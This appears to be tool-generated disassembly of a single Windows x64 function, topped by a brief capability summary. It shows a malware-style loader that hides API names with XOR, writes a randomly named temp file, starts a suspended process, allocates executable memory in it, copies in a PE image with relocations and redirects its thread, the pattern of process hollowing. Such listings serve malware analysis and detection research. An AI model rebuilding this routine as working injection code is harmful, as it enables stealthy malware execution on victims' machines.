Function at 0x14000a1cd
Capabilities:
Encode data using xor
Get common file path
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0xa3c8
call fcn.140015330
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa330], xmm6
mov qword [rbp + 0xa328], 0xfffffffffffffffe
inc qword [0x140102eb8]
mov rbx, rcx
movsxd rcx, dword [rcx + 0x3c]
lea rax, [rcx + rbx]
inc qword [0x140102ed8]
test rax, rax
je 0x14000a387
lea rdi, [rcx + rbx]
add rdi, 0x108
inc qword [0x140102ee0]
inc qword [0x140102ec8]
test rdi, rdi
je 0x14000a387
mov qword [rbp + 0xa320], rcx
mov qword [rbp + 0xa258], rax
inc qword [0x140102ed0]
lea rdx, [rbp + 0x9b40]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
inc qword [0x140102fd8]
xor ecx, ecx
call fcn.140043760
mov ecx, eax
call fcn.140048f40
lea r15, [rbp + 0x9d40]
mov r8d, 0x104
mov rcx, r15
xor edx, edx
call fcn.14000d460
call fcn.140048f58
cdqe
imul rcx, rax, 0x66666667
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
add ecx, ecx
lea ecx, [rcx + rcx*4]
neg ecx
lea r12d, [rax + rcx]
add r12d, 0xa
movabs rsi, 0xe38e38e38e38e38f
lea r13, str.QWEDFG345678zxcvbnw
lea r14, [rbp - 0x30]
inc qword [0x140102ee8]
call fcn.140048f58
movsxd rcx, eax
mov rax, rcx
mul rsi
shr rdx, 3
and rdx, 0xfffffffffffffffe
lea rax, [rdx + rdx*8]
sub rcx, rax
mov al, byte [r13 + rcx]
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
mov rcx, r15
mov rdx, r14
call fcn.140048fa0
dec r12d
jne 0x14000a2d6
inc qword [0x140103730]
lea r15, [rbp + 0x9930]
lea r8, [rbp + 0x9b40]
mov edx, 0x104
mov rcx, r15
call fcn.14004a10c
inc qword [0x140103738]
lea r8, [rbp + 0x9d40]
mov edx, 0x104
mov rcx, r15
call fcn.14004a018
mov word [r15 + 0x206], 0
lea rcx, [rbp + 0xa2e8]
mov qword [rcx], 0
lea r8, [0x1400839d2]
mov rdx, r15
call fcn.140043c54
test eax, eax
je 0x14000a3ad
inc qword [0x140102ef0]
jmp 0x14000a38e
inc qword [0x140102ec0]
xor ebx, ebx
mov eax, ebx
movaps xmm6, xmmword [rbp + 0xa330]
add rsp, 0xa3c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
inc qword [0x140102ef8]
cmp qword [rbp + 0xa2e8], 0
je 0x14000a37e
inc qword [0x140102f00]
lea rax, [rbp - 0x2a]
mov dword [rax - 6], 0xa563efc9
mov word [rax - 2], 0x1ab4
lea rdx, [rbp + 0xa120]
mov qword [rdx], r14
mov qword [rdx + 8], rax
inc qword [0x140103700]
lea r14, [rbp + 0xa198]
lea r8, [rbp + 0x9e50]
mov rcx, r14
call fcn.14000991a
lea rdx, [0x1400839e0]
lea r15, [rbp - 0x30]
mov r8d, 0x9960
mov rcx, r15
call fcn.14000d530
mov r8d, 0x9960
mov rcx, r14
mov rdx, r15
call fcn.140009de3
mov rsi, qword [rbp + 0xa258]
mov r9, qword [rbp + 0xa2e8]
lea rcx, [rbp - 0x30]
mov edx, 1
mov r8d, 0x9960
call fcn.14004804c
mov rcx, qword [rbp + 0xa2e8]
call fcn.140046464
mov rcx, rsi
mov rdx, rdi
call fcn.140009ce7
mov r14d, eax
xorps xmm0, xmm0
movaps xmmword [rbp + 0xa130], xmm0
movaps xmmword [rbp + 0xa140], xmm0
movaps xmmword [rbp + 0xa150], xmm0
movaps xmmword [rbp + 0xa160], xmm0
movaps xmmword [rbp + 0xa170], xmm0
movaps xmmword [rbp + 0xa180], xmm0
xor eax, eax
mov qword [rbp + 0xa190], rax
mov dword [rbp + 0xa130], 0x68
movaps xmmword [rbp + 0xa2f0], xmm0
mov qword [rbp + 0xa300], rax
inc qword [0x140102fe0]
movups xmm0, xmmword [str._RJW_W]
movaps xmmword [rbp + 0xa270], xmm0
inc qword [0x140103748]
movups xmm0, xmmword [0x14008d34a]
inc qword [0x140103b10]
movups xmmword [rbp + 0xa27a], xmm0
inc qword [0x140103750]
inc qword [0x140103b18]
mov rcx, qword [0x140103b20]
lea edx, [rax + 0x36]
xor word [rbp + rax*2 + 0xa270], dx
inc rax
cmp rax, 0xd
jne 0x14000a4fb
add rcx, 0xd
mov qword [0x140103b20], rcx
lea rcx, [rbp + 0xa270]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14000ac20
mov rdi, rax
inc qword [0x140103758]
inc qword [0x140103b10]
cmp word [rbp + 0xa288], 0
jne 0x14000a581
inc qword [0x140103760]
inc qword [0x140103b18]
mov rax, qword [0x140103b20]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa270], dx
inc rcx
cmp rcx, 0xd
jne 0x14000a562
add rax, 0xd
mov qword [0x140103b20], rax
inc qword [0x140103768]
mov rax, qword [0x140103770]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa270], 0
inc rcx
cmp rcx, 0xd
jne 0x14000a591
inc qword [0x140102fe8]
add rax, 0xd
inc qword [0x140103778]
mov qword [0x140103770], rax
inc qword [0x140103b28]
movups xmm0, xmmword [0x14008d35a]
inc qword [0x140103780]
movaps xmmword [rbp + 0xa210], xmm0
inc qword [0x140103b30]
movups xmm0, xmmword [0x14008d368]
movups xmmword [rbp + 0xa21e], xmm0
mov rax, qword [0x140103b38]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa210], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a5f7
add rax, 0xf
mov qword [0x140103b38], rax
lea rcx, [rbp + 0xa210]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ac2c
mov r10, rax
lea rax, [rbp + 0xa2f0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa130]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x9930]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r10
test rax, rax
je 0x14000ac38
inc qword [0x140103788]
mov rcx, qword [0x140103b28]
lea rax, [rcx + 1]
mov qword [0x140103b28], rax
cmp word [rbp + 0xa22c], 0
jne 0x14000a6e1
inc qword [0x140103790]
inc qword [0x140103b30]
mov rdx, qword [0x140103b38]
xor r8d, r8d
lea r9d, [r8 + 0x36]
xor word [rbp + r8*2 + 0xa210], r9w
inc r8
cmp r8, 0xf
jne 0x14000a6c0
add rdx, 0xf
mov qword [0x140103b38], rdx
inc qword [0x140103798]
mov rdx, qword [0x1401037a0]
xor r8d, r8d
mov word [rbp + r8*2 + 0xa210], 0
inc r8
cmp r8, 0xf
jne 0x14000a6f2
add rdx, 0xf
mov qword [0x1401037a0], rdx
test r14b, r14b
je 0x14000a84c
inc qword [0x140102f20]
inc qword [0x140102ff0]
movups xmm0, xmmword [0x14008d378]
inc qword [0x1401037a8]
movaps xmmword [rbp + 0x9e50], xmm0
inc qword [0x140103778]
movups xmm0, xmmword [0x14008d386]
inc qword [0x140103780]
movups xmmword [rbp + 0x9e5e], xmm0
inc qword [0x140103b30]
add rcx, 2
mov qword [0x140103b28], rcx
xor ecx, ecx
mov rax, qword [0x140103b38]
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a774
add rax, 0xf
mov qword [0x140103b38], rax
lea rcx, [rbp + 0x9e50]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000aca5
mov rcx, qword [rbp + 0xa2f0]
lea rdx, [rbp + 0xa254]
call rax
inc qword [0x140103788]
mov rax, qword [0x140103b28]
inc rax
mov qword [0x140103b28], rax
cmp word [rbp + 0x9e6c], 0
jne 0x14000a81e
inc qword [0x140103790]
inc qword [0x140103b30]
mov rcx, qword [0x140103b38]
xor edx, edx
lea r8d, [rdx + 0x36]
xor word [rbp + rdx*2 + 0x9e50], r8w
inc rdx
cmp rdx, 0xf
jne 0x14000a7fd
add rcx, 0xf
mov qword [0x140103b38], rcx
inc qword [0x140103798]
mov rcx, qword [0x1401037a0]
xor edx, edx
mov word [rbp + rdx*2 + 0x9e50], 0
inc rdx
cmp rdx, 0xf
jne 0x14000a82e
add rcx, 0xf
mov qword [0x1401037a0], rcx
inc qword [0x140102ff8]
movups xmm0, xmmword [0x14008d396]
inc qword [0x1401037a8]
movaps xmmword [rbp + 0xa230], xmm0
inc qword [0x140103778]
movups xmm0, xmmword [0x14008d3a4]
inc qword [0x140103780]
movups xmmword [rbp + 0xa23e], xmm0
inc qword [0x140103b30]
inc rax
mov qword [0x140103b28], rax
mov rax, qword [0x140103b38]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa230], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a89e
add rax, 0xf
mov qword [0x140103b38], rax
lea rcx, [rbp + 0xa230]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ac44
mov r10, rax
inc qword [0x140103788]
inc qword [0x140103b28]
cmp word [rbp + 0xa24c], 0
jne 0x14000a92f
inc qword [0x140103790]
inc qword [0x140103b30]
mov rax, qword [0x140103b38]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa230], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a910
add rax, 0xf
mov qword [0x140103b38], rax
inc qword [0x140103798]
mov rax, qword [0x1401037a0]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa230], 0
inc rcx
cmp rcx, 0xf
jne 0x14000a93f
add rax, 0xf
mov qword [0x1401037a0], rax
mov edx, dword [rsi + 0x34]
mov r8d, dword [rsi + 0x50]
mov rcx, qword [rbp + 0xa2f0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call r10
mov r15, rax
mov qword [rbp + 0xa318], rax
test rax, rax
jne 0x14000aacd
inc qword [0x140102f38]
inc qword [0x140103000]
inc qword [0x1401037b0]
inc qword [0x140103b40]
movups xmm0, xmmword [0x14008d3b4]
inc qword [0x140103b50]
movaps xmmword [rbp + 0x9e50], xmm0
inc qword [0x140103b48]
movups xmm0, xmmword [0x14008d3c4]
inc qword [0x140103b58]
movaps xmmword [rbp + 0x9e60], xmm0
mov word [rbp + 0x9e70], 0x46
xor ecx, ecx
mov rax, qword [0x140103b60]
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x11
jne 0x14000a9ee
add rax, 0x11
mov qword [0x140103b60], rax
lea rcx, [rbp + 0x9e50]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000b429
mov rcx, qword [rbp + 0xa2f0]
xor edx, edx
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
inc qword [0x1401037b8]
inc qword [0x140103b50]
cmp word [rbp + 0x9e70], 0
jne 0x14000aa90
inc qword [0x1401037c0]
inc qword [0x140103b58]
mov rax, qword [0x140103b60]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x11
jne 0x14000aa71
add rax, 0x11
mov qword [0x140103b60], rax
inc qword [0x1401037c8]
mov rax, qword [0x1401037d0]
xor ecx, ecx
mov word [rbp + rcx*2 + 0x9e50], 0
inc rcx
cmp rcx, 0x11
jne 0x14000aaa0
add rax, 0x11
mov qword [0x1401037d0], rax
mov rcx, rbx
call fcn.14000a1cd
mov r15, qword [rbp + 0xa318]
sub r15d, dword [rsi + 0x34]
inc qword [0x140103008]
inc qword [0x1401037d8]
movups xmm0, xmmword [0x14008d3d6]
inc qword [0x140103b68]
movaps xmmword [rbp + 0xa1e0], xmm0
inc qword [0x140103b78]
movups xmm0, xmmword [0x14008d3e6]
inc qword [0x140103b70]
movaps xmmword [rbp + 0xa1f0], xmm0
inc qword [0x140103b80]
movabs rax, 0x48003e0034002a
mov qword [rbp + 0xa1fe], rax
xor ecx, ecx
mov rax, qword [0x140103b88]
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa1e0], dx
inc rcx
cmp rcx, 0x13
jne 0x14000ab31
add rax, 0x13
mov qword [0x140103b88], rax
lea rcx, [rbp + 0xa1e0]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
inc qword [0x1401037e0]
inc qword [0x140103b78]
mov qword [rbp + 0xa308], rax
cmp word [rbp + 0xa204], 0
jne 0x14000abbd
inc qword [0x1401037e8]
inc qword [0x140103b80]
mov rax, qword [0x140103b88]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa1e0], dx
inc rcx
cmp rcx, 0x13
jne 0x14000ab9e
add rax, 0x13
mov qword [0x140103b88], rax
inc qword [0x1401037f0]
mov rax, qword [0x1401037f8]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa1e0], 0
inc rcx
cmp rcx, 0x13
jne 0x14000abcd
add rax, 0x13
mov qword [0x1401037f8], rax
test r14b, r14b
je 0x14000ac50
inc qword [0x140102f48]
mov rdx, qword [rbp + 0xa318]
mov dword [rsi + 0x34], edx
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r8, rbx
call qword [rbp + 0xa308]
jmp 0x14000ac74
inc qword [0x140102f08]
jmp 0x14000b454
inc qword [0x140102f10]
jmp 0x14000b454
inc qword [0x140102f18]
jmp 0x14000b454
inc qword [0x140102f30]
jmp 0x14000b454
mov r9d, dword [rsi + 0x54]
mov rdx, qword [rbp + 0xa318]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r8, rbx
call qword [rbp + 0xa308]
test rax, rax
je 0x14000acb1
mov qword [rbp + 0xa260], r15
cmp dword [rsi + 0xa0], 0
je 0x14000acbd
inc qword [0x140102f58]
lea rax, [rsi + 0xa0]
mov r15d, dword [rax]
mov eax, dword [rax + 4]
mov dword [rbp + 0xa314], eax
jmp 0x14000acca
inc qword [0x140102f28]
jmp 0x14000b454
inc qword [0x140102f50]
jmp 0x14000b454
xor r15d, r15d
mov dword [rbp + 0xa314], 0
test r14b, r14b
je 0x14000ada2
inc qword [0x140102f60]
cmp word [rsi + 6], 0
je 0x14000ad96
mov rax, qword [rbp + 0xa320]
lea r12, [rbx + rax]
add r12, 0x18
xor r13d, r13d
xor eax, eax
mov qword [rbp + 0xa320], rax
inc qword [0x140102f68]
movzx ecx, word [rsi + 0x14]
lea rax, [r12 + rcx]
cmp r15d, dword [r12 + rcx + 0xc]
jb 0x14000ad40
inc qword [0x140102f78]
mov ecx, dword [rax + 8]
add ecx, dword [rax + 0xc]
cmp r15d, ecx
jae 0x14000ad40
inc qword [0x140102f80]
inc qword [0x140102f70]
mov rcx, rax
mov qword [rbp + 0xa320], rax
mov edx, dword [rax + 0xc]
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, rbx
add rdx, qword [rbp + 0xa318]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
call qword [rbp + 0xa308]
test rax, rax
je 0x14000b432
inc r13
movzx eax, word [rsi + 6]
add r12, 0x28
cmp r13, rax
jb 0x14000ad00
cmp qword [rbp + 0xa320], 0
jne 0x14000ae1b
inc qword [0x140102f90]
jmp 0x14000b454
cmp word [rsi + 6], 0
je 0x14000b079
mov rax, qword [rbp + 0xa320]
lea r15, [rbx + rax]
add r15, 0x18
xor eax, eax
mov qword [rbp + 0xa320], rax
xor r12d, r12d
inc qword [0x140102f98]
movzx eax, word [rsi + 0x14]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add r8, rbx
add rdx, qword [rbp + 0xa318]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
call qword [rbp + 0xa308]
test rax, rax
je 0x14000b43b
inc r12
movzx eax, word [rsi + 6]
add r15, 0x28
cmp r12, rax
jb 0x14000adc8
test r14b, r14b
je 0x14000b079
inc qword [0x140102fa8]
cmp dword [rbp + 0xa314], 0
je 0x14000b079
xor r13d, r13d
movabs rcx, 0x1fffffff8
xorps xmm6, xmm6
inc qword [0x140102fb0]
mov rax, qword [rbp + 0xa320]
mov eax, dword [rax + 0x14]
mov edx, r13d
add rdx, rbx
add r13d, 8
mov r12d, dword [rax + rdx + 4]
add r12, rcx
shr r12, 1
test r12d, r12d
je 0x14000b06c
add rdx, rax
lea eax, [r13 + r12*2]
mov dword [rbp + 0xa2e4], eax
xor r15d, r15d
mov qword [rbp + 0xa268], rdx
inc qword [0x140102fb8]
mov rax, qword [rbp + 0xa320]
mov eax, dword [rax + 0x14]
mov ecx, r13d
add rcx, rbx
movzx r14d, word [rax + rcx]
cmp r14, 0xfff
ja 0x14000aec0
inc qword [0x140102fc0]
jmp 0x14000b049
and r14d, 0xfff
add r14, qword [rbp + 0xa318]
mov eax, dword [rdx]
inc qword [0x140103010]
add r14, rax
inc qword [0x140103800]
mov dword [rbp + 0xa2b0], 0
inc qword [0x140103b90]
movups xmm0, xmmword [0x14008d3fc]
inc qword [0x140103ba0]
movaps xmmword [rbp + 0x9e50], xmm0
inc qword [0x140103b98]
movups xmm0, xmmword [0x14008d40c]
inc qword [0x140103ba8]
movaps xmmword [rbp + 0x9e60], xmm0
mov dword [rbp + 0x9e70], 0x47003f
mov rax, qword [0x140103bb0]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x12
jne 0x14000af36
add rax, 0x12
mov qword [0x140103bb0], rax
lea rcx, [rbp + 0x9e50]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000b44d
inc qword [0x140103808]
inc qword [0x140103ba0]
cmp word [rbp + 0x9e72], 0
jne 0x14000afc6
inc qword [0x140103810]
inc qword [0x140103ba8]
mov rcx, qword [0x140103bb0]
xor edx, edx
lea r8d, [rdx + 0x36]
xor word [rbp + rdx*2 + 0x9e50], r8w
inc rdx
cmp rdx, 0x12
jne 0x14000afa5
add rcx, 0x12
mov qword [0x140103bb0], rcx
inc qword [0x140103818]
movaps xmmword [rbp + 0x9e50], xmm6
movaps xmmword [rbp + 0x9e60], xmm6
mov dword [rbp + 0x9e70], 0
add qword [0x140103820], 0x12
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r14
lea r8, [rbp + 0xa2b0]
call rax
mov rax, qword [rbp + 0xa260]
add dword [rbp + 0xa2b0], eax
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r14
lea r8, [rbp + 0xa2b0]
call qword [rbp + 0xa308]
mov rdx, qword [rbp + 0xa268]
add r13d, 2
inc r15d
cmp r15d, r12d
jne 0x14000ae8f
mov eax, dword [rbp + 0xa2e4]
mov r13d, eax
movabs rcx, 0x1fffffff8
cmp r13d, dword [rbp + 0xa314]
jb 0x14000ae48
inc qword [0x140103018]
mov dword [rbp + 0x9e50], 0x10000b
inc qword [0x140103828]
movups xmm0, xmmword [0x14008d420]
inc qword [0x140103bb8]
movaps xmmword [rbp + 0xa2b0], xmm0
inc qword [0x140103bc8]
movups xmm0, xmmword [0x14008d430]
inc qword [0x140103bc0]
movaps xmmword [rbp + 0xa2c0], xmm0
inc qword [0x140103bd0]
movups xmm0, xmmword [0x14008d43c]
movups xmmword [rbp + 0xa2cc], xmm0
xor ecx, ecx
mov rax, qword [0x140103bd8]
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa2b0], dx
inc rcx
cmp rcx, 0x16
jne 0x14000b0e0
add rax, 0x16
mov qword [0x140103bd8], rax
lea rcx, [rbp + 0xa2b0]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
setne bl
je 0x14000b444
mov rcx, qword [rbp + 0xa2f8]
lea rdx, [rbp + 0x9e50]
call rax
mov edx, dword [rbp + 0x9ef4]
add rdx, 8
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0xa318]
mov r9d, 4
call qword [rbp + 0xa308]
inc qword [0x140103830]
mov rax, qword [0x140103bc8]
lea rcx, [rax + 1]
mov qword [0x140103bc8], rcx
cmp word [rbp + 0xa2da], 0
jne 0x14000b1bb
inc qword [0x140103838]
inc qword [0x140103bd0]
mov rcx, qword [0x140103bd8]
xor edx, edx
lea r8d, [rdx + 0x36]
xor word [rbp + rdx*2 + 0xa2b0], r8w
inc rdx
cmp rdx, 0x16
jne 0x14000b19a
add rcx, 0x16
mov qword [0x140103bd8], rcx
inc qword [0x140103840]
mov rcx, qword [0x140103848]
xor edx, edx
mov word [rbp + rdx*2 + 0xa2b0], 0
inc rdx
cmp rdx, 0x16
jne 0x14000b1cb
add rcx, 0x16
mov qword [0x140103848], rcx
inc qword [0x140103020]
movups xmm0, xmmword [0x14008d44c]
movaps xmmword [rbp + 0xa1b0], xmm0
movups xmm0, xmmword [0x14008d45c]
movaps xmmword [rbp + 0xa1c0], xmm0
movups xmm0, xmmword [0x14008d468]
movups xmmword [rbp + 0xa1cc], xmm0
mov ecx, dword [rsi + 0x28]
add ecx, dword [rbp + 0xa318]
inc qword [0x140103828]
inc qword [0x140103bb8]
inc qword [0x140103bc0]
mov dword [rbp + 0x9f00], ecx
inc qword [0x140103bd0]
add rax, 2
mov qword [0x140103bc8], rax
xor ecx, ecx
mov rax, qword [0x140103bd8]
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa1b0], dx
inc rcx
cmp rcx, 0x16
jne 0x14000b259
add rax, 0x16
mov qword [0x140103bd8], rax
lea rcx, [rbp + 0xa1b0]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xa2f8]
lea rdx, [rbp + 0x9e50]
call rax
inc qword [0x140103830]
inc qword [0x140103bc8]
cmp word [rbp + 0xa1da], 0
jne 0x14000b2ee
inc qword [0x140103838]
inc qword [0x140103bd0]
mov rax, qword [0x140103bd8]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa1b0], dx
inc rcx
cmp rcx, 0x16
jne 0x14000b2cf
add rax, 0x16
mov qword [0x140103bd8], rax
inc qword [0x140103840]
mov rax, qword [0x140103848]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa1b0], 0
inc rcx
cmp rcx, 0x16
jne 0x14000b2fe
inc qword [0x140103028]
inc qword [0x140103850]
add rax, 0x16
inc qword [0x140103748]
mov qword [0x140103848], rax
inc qword [0x140103b10]
movups xmm0, xmmword [0x14008d478]
inc qword [0x140103750]
movaps xmmword [rbp + 0xa290], xmm0
inc qword [0x140103b18]
movups xmm0, xmmword [0x14008d482]
movups xmmword [rbp + 0xa29a], xmm0
xor ecx, ecx
mov rax, qword [0x140103b20]
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa290], dx
inc rcx
cmp rcx, 0xd
jne 0x14000b36b
add rax, 0xd
mov qword [0x140103b20], rax
lea rcx, [rbp + 0xa290]
call fcn.140009d5d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xa2f8]
call rax
inc qword [0x140103758]
inc qword [0x140103b10]
cmp word [rbp + 0xa2a8], 0
jne 0x14000b3f9
inc qword [0x140103760]
inc qword [0x140103b18]
mov rax, qword [0x140103b20]
xor ecx, ecx
lea edx, [rcx + 0x36]
xor word [rbp + rcx*2 + 0xa290], dx
inc rcx
cmp rcx, 0xd
jne 0x14000b3da
add rax, 0xd
mov qword [0x140103b20], rax
inc qword [0x140103768]
mov rax, qword [0x140103770]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa290], 0
inc rcx
cmp rcx, 0xd
jne 0x14000b409
add rax, 0xd
mov qword [0x140103770], rax
jmp 0x14000b456
inc qword [0x140102f40]
jmp 0x14000b454
inc qword [0x140102f88]
jmp 0x14000b454
inc qword [0x140102fa0]
jmp 0x14000b454
inc qword [0x140102fd0]
jmp 0x14000b456
inc qword [0x140102fc8]
xor ebx, ebx
inc qword [0x140103728]
inc qword [0x1401039e8]
inc qword [0x140103880]
inc qword [0x1401038e0]
inc qword [0x1401039f8]
mov rcx, qword [rbp + 0xa198]
test rcx, rcx
je 0x14000a390
inc qword [0x1401039f0]
inc qword [0x140103a00]
mov rdx, qword [rbp + 0xa1a8]
sub rdx, rcx
inc qword [0x140103a10]
inc qword [0x140103a18]
cmp rdx, 0x1000
jb 0x14000b4f5
inc qword [0x140103a20]
inc qword [0x140103a28]
mov rax, qword [rcx - 8]
sub rcx, rax
cmp rcx, 8
jb 0x14000b4ff
inc qword [0x140103a40]
cmp rcx, 0x28
jae 0x14000b4ff
add rdx, 0x27
inc qword [0x140103a48]
inc qword [0x140103a38]
mov rcx, rax
call fcn.140014798
jmp 0x14000a390
call fcn.140041bc0
int3